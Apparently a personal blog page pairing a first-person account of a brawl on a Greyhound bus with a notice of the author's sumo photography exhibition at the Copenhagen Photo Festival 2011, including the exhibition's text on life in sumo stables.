Next time, Try God

Next time, Try God

I made to move outside and separate them just as another rider—seemingly the only sane one in the bunch—did the same, shouting, “Are you all crazy? We have to stop this!” Turning my head for the merest of seconds to plot a course through the aisle of the melee within the bus to get to the melee outside the bus, I saw a shock of dirty blonde hair bolt in front of the bus and run into traffic. The woman had managed to get out from under Shawnda and was attempting to escape. Quicker than I could understand what was going on, the woman had gotten a speeding Mercedes to stop and allow her inside the car, no doubt with a lie about being attacked. Shawnda hopped back on the bus to a wild ruckus of reenactments of her struggle. Running a hand over her mussed hair, she got on the speaker and told everyone “Allright ya’ll, sorry about that there trouble, was sure nothing that happens all the time here on Greyhound. I told ya’ll no smokin’ and I mean it. I may be small, but I am one tough bitch! Enjoy the rest of ya’ll ride and thank you for ridin’ Greyhound.”

I couldn’t be sure where I might end up, when i might get there, or if the glint of Shawnda’s smoked yellow pupil gleaming in my general direction in the large rectangular rearview mirror suspended over the driver’s seat was real or a trick of the light, but what I could be sure of was that I had made it home, for good or ill.

Sumo Sized Exhibition at Copenhagen Photo Festival 2011

The Grapple on display at the Copenhagen Photographic Festival
Sumo Breaktime on display at the Copenhagen Photographic Festival

Sumo Breaktime on display at the Copenhagen Photographic Festival

I have an exhibition currently on display at the Copenhagen Photo Festival (next to BOP’s… In search of Humanistic Photography.

Text from the exhibition:

The sumo world is a vast landscape with nebulous practices based on ancient shinto ritual and the samurai warrior code of bushido. In its most basic form it is a celebration of purity and strength, but like our physical world it too produces mirages of mountains. What is seen on television and experienced by attending a live tournament is the facade which obscures what goes on behind the scenes. Fiercely protected by the fans, police, politicians as an unbreakable institution symbolizing more than the country of Japan itself, but the austere ethos of a frugal and productive people. People who believe in honor, who do not take shortcuts, who do not cheat.

Better than merely attending a tournament, going to the sumo “stable” is a great window into seeing how difficult a day in the life is for the vast majority of the wrestlers, most of whom will never get anywhere near the coveted grand champion or yokozuna position. Worse, they could end up like Takasha Saito, the 17-year-old sumo hopeful who died in 2009 at the hands of fellow wrestlers instructed to haze him by stablemaster Junichi Yamamoto. Failure is unacceptable. There is a kind of nobility inherent in any grunt work and despite, or perhaps because of, all this rigid rule-mongering the adherents of sumo have managed to convey this beautifully throughout the centuries old history of the sport.

The Grapple on display at the Copenhagen Photographic Festival

The Grapple on display at the Copenhagen Photographic Festival

Toves Galler
Vesterbrogade 97
1620 København V

June 9 – 16, 2011